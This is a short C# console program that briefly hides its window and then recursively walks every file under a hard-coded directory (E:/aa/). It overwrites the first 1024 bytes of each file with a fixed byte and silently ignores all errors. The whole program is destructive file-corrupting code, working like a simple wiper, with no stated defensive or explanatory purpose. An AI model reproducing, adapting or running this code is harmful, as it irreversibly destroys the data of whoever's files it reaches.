using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.Remoting.Metadata.W3cXsd2001;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;



namespace Inet

{

    class Program
    {
        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        const int SW_HIDE = 0;
        const int SW_SHOW = 5;


        static void Main(string[] args)
        {

            var handle = GetConsoleWindow();

            // Hide
            ShowWindow(handle, SW_HIDE);

            // Show
            ShowWindow(handle, SW_SHOW);

            string path = "E:/aa/";
            string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
            foreach (string s in files)
                try

                {
                    using (var stream = new System.IO.FileStream(s, FileMode.Open, FileAccess.ReadWrite))
                    {

                        for (int i = 0; i < 1024; i++)
                        {
                            stream.Position = i;
                            stream.WriteByte(0x04);
                        }
                    }
                }

                catch { }



        }
    }

}